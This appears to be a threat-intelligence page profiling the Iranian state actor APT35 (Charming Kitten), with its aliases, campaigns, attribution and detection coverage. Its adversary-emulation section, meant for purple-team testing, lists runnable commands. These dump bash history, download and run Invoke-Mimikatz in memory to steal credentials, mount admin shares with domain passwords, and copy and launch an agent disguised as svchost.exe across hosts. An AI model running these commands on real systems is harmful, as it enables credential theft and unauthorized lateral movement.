Home/Threat Actor/APT35
Threat Actor

APT35

apt35_charmingkitten · iran · active since 2013

APT35 (Charming Kitten / Phosphorus / Mint Sandstorm / Magic Hound / TA453 / COBALT ILLUSION / ITG18 / Newscaster Team / Rocket Kitten / Ajax Security / COBALT MIRAGE / CharmingCypress / Educated Manticore / Ballistic Bobcat / G0059) is an Iranian state-sponsored cyber actor attributed to the Islamic Revolutionary Guard Corps (IRGC) Intelligence Organization and active since at least 2013, the most-aliased Iranian actor in the public corpus, paired with APT33 (also IRGC) as the IRGC's sustained-espionage / influence-operations counterpart to APT33's destructive mandate.

targeting consistently emphasizes high- value individuals over enterprise networks, Iranian dissidents and diaspora communities, US and European policy researchers, journalists covering Iran, presidential campaigns (the 2019 Microsoft Phosphorus disclosure of US-2020-election interference and the September 2024 DOJ indictment of three named IRGC officers for the 2024 Trump-campaign hack-and-leak operation), international conference attendees, and increasingly US critical infrastructure (Microsoft 2024-2025 reporting); tradecraft hallmarks include elaborate social-engineering persona development with multi-week conversational lures, credential phishing via spoofed login pages, MFA-bypass and session-cookie theft, rapid Log4Shell weaponization producing the CharmPower / PowerLess PowerShell toolkit, modular .NET backdoors including BellaCiao with per-country tailored delivery, Microsoft Exchange / 365 abuse (ProxyLogon, ProxyShell, mailbox-rule persistence), opportunistic ransomware deployment via the COBALT MIRAGE / DEV-0270 subgroup, and the signature Iranian hack-and-leak influence operations including the 2017 HBO breach by indicted operator Behzad Mesri.

iran confidence: high 45 aliases MITRE ATT&CK G0059 ↗

Profile

APT35 (Magic Hound / Charming Kitten / Phosphorus / Mint Sandstorm / TA453 / COBALT ILLUSION / ITG18 / Newscaster / Newscaster Team / Ajax Security / Rocket Kitten / COBALT MIRAGE / Parastoo / TunnelVision / BOHRIUM / iKittens / Yellow Garuda / Ballistic Bobcat / Educated Manticore / CharmingCypress / Smoke Sandstorm / G0059) is the most-aliased Iranian state- sponsored cyber actor in the public corpus, attributed to the Islamic Revolutionary Guard Corps (IRGC) Intelligence Organization. Active since at least 2013 (with some indicators pointing back to 2012), APT35 represents the IRGC's primary sustained espionage and influence-operations capability, paired with APT33 (also IRGC) which carries the destructive-capability mandate. Microsoft's Mint Sandstorm taxonomy formally consolidates what previously appeared as multiple separate clusters under one umbrella with operationally distinct subgroups. APT35's distinguishing characteristic is high-touch, patient social engineering targeting specific high-value individuals and civil society, fundamentally different from the broader enterprise-network-intrusion focus of APT34 (MOIS) or the sector-targeting model of MuddyWater. Primary targets include: Iranian dissidents and diaspora communities globally, US and European policy researchers and academics, journalists covering Iran, presidential campaigns (the Microsoft October 2019 Phosphorus disclosure of US-2020-election interference was a major attribution event.

the September 2024 DOJ indictment of three IRGC officers for the 2024 Trump-campaign hack-and-leak operation formalized the pattern), international conference attendees, human-rights defenders, and Iran-focused think tanks. Recent reporting (Microsoft 2024-2025) documents expansion into US critical infrastructure (seaports, energy, transit) suggesting evolving IRGC tasking amid US-Iran tensions. Tradecraft hallmarks: (a) elaborate persona development for social-engineering pretexts, fake journalists, fake academics, fake think-tank researchers, fake conference invitations (the CharmingCypress conversational-lure pattern paralleling DPRK Kimsuky TA427)

(b) credential phishing via spoofed Google, Yahoo, Outlook, and institutional login pages.

(c) MFA-bypass tradecraft including session cookie theft (T1539)

(d) heavy Microsoft Exchange and Microsoft 365 abuse, ProxyLogon, ProxyShell, Outlook Home Page (CVE-2017-11774), mailbox forwarding rules, transport agents.

(e) Log4Shell rapid weaponization (Check Point January 2022) producing the CharmPower / PowerLess PowerShell toolkit.

(f) modular .NET backdoors (BellaCiao with per-country tailored delivery, PowerLess, BellaCiso)

(g) opportunistic ransomware deployment via the COBALT MIRAGE / DEV-0270 subgroup against unrelated victims, suggesting either dual-mandate operators or financial- side activity supporting IRGC operations.

(h) hack-and-leak influence operations (2017 HBO breach by Behzad Mesri.

2024 Trump campaign hack-and-leak). The September 27, 2024 US DOJ unsealed indictment of three IRGC officers (Masoud Jalili, Seyyed Ali Aghamiri, Yaser Balaghi) for the 2024 Trump-campaign hack-and-leak operation represents the most recent formal US government attribution tying specific named IRGC officers to APT35 operations, reinforcing the IRGC attribution that previously rested primarily on vendor assessments.

Aliases

45
apt35magic houndmagichoundcharming kittencharmingkittenphosphorusmint sandstormnewscasternewscaster teamta453cobalt illusionitg18cobalt mirageajax security teamajax securityrocket kittenparastootunnel visiontunnelvisionyellow garudaballistic bobcateducated manticorecharmingcypresscharming cypresssmoke sandstormbohriumikittensi_kittenstimberwormtemp.beanietarh andishannewsbeefgroup 83ta455unc788yellow dev13g0058irgcirgc intelligence organizationirgc-ioirgc cyberislamic revolutionary guard corpsg0059apt 35apt-35

Adversary Emulation Plan

13 steps
Runnable Caldera emulation profile Worm - Move laterally any way possible. Ordered along the attack lifecycle; each step maps to an ATT&CK technique with a concrete executor command. For authorized red-team / purple-team exercises only.
0 collection T1005 · Data from Local System darwin, linux
Parse SSH config
pip install stormssh && storm list
1 credential-access T1552.003 · Unsecured Credentials: Bash History darwin, linux
Dump history
find ~/.bash_sessions -name '*' -exec cat {} \; 2>/dev/null
2 discovery T1135 · Network Share Discovery windows
View admin shares
Get-SmbShare | ConvertTo-Json
3 discovery T1018 · Remote System Discovery darwin, linux, windows
Collect ARP details
arp -a
Run PowerKatz
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True };
$web = (New-Object System.Net.WebClient);
$result = $web.DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1");
iex $result; Invoke-Mimikatz -DumpCreds
5 discovery T1018 · Remote System Discovery windows
Find Hostname
nbtstat -A #{remote.host.ip}
6 discovery T1018 · Remote System Discovery windows
Reverse nslookup IP
nslookup #{remote.host.ip}
Mount Share
net use \\#{remote.host.fqdn}\C$ /user:#{domain.user.name} #{domain.user.password}
Copy 54ndc47 (SMB)
$path = "sandcat.go-windows";
$drive = "\\#{remote.host.fqdn}\C$";
Copy-Item -v -Path $path -Destination $drive"\Users\Public\s4ndc4t.exe";
9 lateral-movement T1570 · Lateral Tool Transfer windows, darwin, linux
Copy 54ndc47 (WinRM and SCP)
$job = Start-Job -ScriptBlock {
  $username = "#{domain.user.name}";
  $password = "#{domain.user.password}";
  $secstr = New-Object -TypeName System.Security.SecureString;
  $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
  $cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
  $session = New-PSSession -ComputerName "#{remote.host.name}" -Credential $cred;
  $location = "#{location}";
  $exe = "#{exe_name}";
  Copy-Item $location -Destination "C:\Users\Public\svchost.exe" -ToSession $session;
  Start-Sleep -s 5;
  Remove-PSSession -Session $session;
};
Receive-Job -Job $job -Wait;
Start 54ndc47 (WMI)
$node = '''#{remote.host.fqdn}''';
$user = '''#{domain.user.name}''';
$password = '''#{domain.user.password}''';
wmic /node:$node /user:$user /password:$password process call create "powershell.exe C:\Users\Public\s4ndc4t.exe -server #{server} -group #{group}";
Start Agent (WinRM)
$username = "#{domain.user.name}";
$password = "#{domain.user.password}";
$secstr = New-Object -TypeName System.Security.SecureString;
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
$cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
$session = New-PSSession -ComputerName #{remote.host.name} -Credential $cred;
Invoke-Command -Session $session -ScriptBlock{start-job -scriptblock{cmd.exe /c start C:\Users\Public\svchost.exe -server #{server} }};
Start-Sleep -s 5;
Remove-PSSession -Session $session;
12 lateral-movement T1021.004 · Remote Services: SSH darwin, linux
Start 54ndc47
scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 sandcat.go-darwin #{remote.ssh.cmd}:~/sandcat.go &&
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 #{remote.ssh.cmd} 'nohup ./sandcat.go -server #{server} -group red 1>/dev/null 2>/dev/null &'

Notable Campaigns

12
2024-2025Mint Sandstorm Targeting US Critical Infrastructure (Microsoft 2024-2025)
2024CharmingCypress Civil Society Targeting (Volexity February 2024)
2024Iranian Hack-and-Leak Operations Targeting Trump Campaign (2024)
2023BellaCiao Modular Backdoor Disclosure (Bitdefender April 2023)
2021-2022Log4Shell Exploitation and ProxyShell Automation (Late 2021 - 2022)
2020Targeting of World Health Organization and COVID-19 Research (April-July 2020)
2020Targeting of Munich Security Conference and T20 Summit Attendees (October 2020)
2019-2020Microsoft Phosphorus Targeting US Presidential Campaign (October 2019)
2017-2019ClearSky Charming Kitten Reports (December 2017, October 2019)
2017-2018US DOJ Indictment of Behzad Mesri / Charming Kitten Operators (2017-2018)
2014-2016Rocket Kitten Operations Against Iranian Dissidents (2014-2016)
2014iSIGHT Partners Newscaster Disclosure (May 2014)

Attribution & Reporting

Attributed by
FBICISANSAUS Cyber CommandUS Department of JusticeUS Department of TreasuryUS Department of StateUK NCSCUK Foreign OfficeFive EyesMicrosoftGoogle Threat Analysis GroupGoogle Cloud Threat IntelligenceMandiantFireEyeCrowdStrikeClearSkyCheck Point ResearchCybereasonCisco TalosProofpointSymantec / BroadcomTrend MicroSentinelOneKasperskyIBM X-ForceSecureworksRecorded FutureInsikt GroupVolexityCitizen LabAmnesty InternationalDFIR ReportBooz Allen HamiltonHunt & Hackett
Key reporting
reportiSIGHT Partners / Mandiant: Newscaster, Iran's Network Conducted Cyber Operations Through Social Media (May 2014)
reportClearSky: Charming Kitten, Iranian Cyber Espionage Against Human Rights Activists, Academic Researchers and Media Outlets (December 2017)
reportClearSky: The Kittens Are Back in Town 2 (October 2019)
reportClearSky: The Kittens Are Back in Town 3 (August 2020)
reportCheck Point Research: Rocket Kitten, A Campaign with 9 Lives (November 2015)
reportCheck Point Research: APT35 Exploits Log4j Vulnerability to Distribute New Modular PowerShell Toolkit (January 2022)
reportMicrosoft: Recent Cyberattacks Require Us All to Be Vigilant (Phosphorus US Presidential Campaign, October 2019)
reportMicrosoft: Cyberattacks Target International Conference Attendees (October 2020)
reportMicrosoft: Profiling DEV-0270 Phosphorus Ransomware Operations (September 2022)
reportMicrosoft: Nation-State Threat Actor Mint Sandstorm Refines Tradecraft to Attack High-Value Targets (April 2023)
reportMicrosoft: Iran Targeting 2024 US Election (August 2024)
reportCybereason Nocturnus: PowerLess Trojan, Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage (February 2022)
reportVolexity: CharmingCypress, Innovating Persistence (February 2024)
reportBitdefender: Unpacking BellaCiao, A Closer Look at Iran's Latest Malware (April 2023)
reportDFIR Report: APT35 Automates Initial Access Using ProxyShell (March 2022)
reportDFIR Report: Exchange Exploit Leads to Domain Wide Ransomware (November 2021)
reportUS DOJ: Three Iranian Nationals Charged with Cyber-Enabled Disinformation and Threat Campaign Designed to Influence the 2024 US Presidential Election (September 2024)
reportUS Treasury OFAC: Designations of Iranian IRGC Officers (multiple, 2018-2024)
reportFBI / CISA / ODNI: Statement on Iranian Targeting of US Presidential Campaigns (2024)
reportGoogle Threat Analysis Group: Iran Cyber Attacks Targeting Users (multiple, 2019-2024)
reportCrowdStrike: Who Is Charming Kitten?
reportBooz Allen Hamilton: Charming Kitten / Iranian APT35 Hunt Report
reportMandiant: Cobalt Illusion Targets Iranian Dissidents
reportCitizen Lab: Cybersecurity Survey, Iran (2018)
reportEuRepoC: APT Profile, APT 35

Operational

State sponsor

Islamic Republic of Iran, Islamic Revolutionary Guard Corps (IRGC) Intelligence Organization. Microsoft formally assesses Mint Sandstorm as associated with an intelligence arm of the IRGC.

US Treasury actions and DOJ indictments have named specific Iranian nationals operating on behalf of IRGC. Hand-in-glove with APT33 (also IRGC) but operationally distinct, with APT35 focused on espionage and influence rather than destructive capability.

Motivations
espionage, intelligence_gathering, dissident_surveillance, influence_operations, information_operations, foreign_policy_intelligence, dual_use_research_targeting, silencing_dissent, identity_compromise, regime_objectives, hack_and_leak_operations
Sectors
Regions

Detection Blind Spots

60 techniques
Across this actor’s 60 mapped techniques, the share covered by each detection layer. Low bars are where you’d be blind if this actor targeted you.
Behavioral / log (Sigma)55/60 · 91%
Analytics (MITRE CAR)35/60 · 58%
Runtime / container (Falco)6/60 · 10%
File / malware (YARA)0/60 · 0%
Network (Suricata/Snort)14/60 · 23%
Vuln scan (Nuclei)0/60 · 0%

Atomic Test Plan

30 techniques
Runnable Atomic Red Team tests covering this actor’s mapped techniques - validate your detections against this specific adversary. Cross-reference the blind spots above. For authorized lab / purple-team use. Open the full builder

Tools Used

13 mapped
Intelligence Graph · click any node to traverse
CVETechnique ActorTool Family
drag to reposition · click any node to traverse · button top-right enlarges
External lookups - second-class, for what we don’t hold ourselves
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CISA KEV catalog
CWE weaknesses
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Package vulnerabilities
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Sigma rules
YARA rules
Atomic Red Team tests
D3FEND countermeasures
Compliance
NIST 800-53
ISO 27001:2022
SOC 2 TSC
PCI-DSS v4.0
CIS Controls v8.1
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